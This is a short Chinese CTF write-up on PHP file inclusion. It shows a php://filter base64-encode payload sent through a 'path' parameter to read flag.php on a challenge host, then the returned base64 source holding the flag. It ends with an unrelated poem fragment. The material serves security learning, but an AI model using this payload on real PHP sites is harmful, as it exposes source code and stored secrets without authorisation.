文章目录
知识点—文件包含—使用php封装协议
- 知识点---文件包含---使用php封装协议
- 方法---使用封装协议读取PHP文件
- 访问封装协议
- Ctf案例
- 第一步 访问ctf地址
- 第二步 发现Phoinfo,并且是path=,考虑文件包含漏洞
- 第三步 通过扫描,发现flag.php,但是无法直接访问
- 第四步 利用php封装协议
- 第五步 将读取的base64的数据,进行解密
- 第六步 提交flag
- 摘抄
- PHP 带有很多内置 URL 风格的封装协议
- 可用于类似
fopen()、 copy()、 file_exists() 和 filesize()
的文件系统函数。 - 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。
http://rt.ichunqiu.com:8002/index.php?path=php://filter/read=convert.base64-encode/resource=flag.php
访问url,得到经过base64加密后的字符串:
PD9waHAKJGZsYWcgPSAnZmxhZ3s0ZTY5NGRjMy1jNDE4LTRhYzQtODA4OC1lYjVlNzM4Y2JjN2V9JzsK
这段代码就是Base64加密后的PHP源代码,经过解密后就可以得到其原本的“样貌”
Ctf案例 第一步 访问ctf地址
文件包含:
http://rt.ichunqiu.com:8002/index.php?path=php://filter/read=convert.base64-encode/resource=flag.php
在这烟尘人间,
并非俗不可耐索然无味,
冬日暖阳,夏日蝉鸣都显可爱。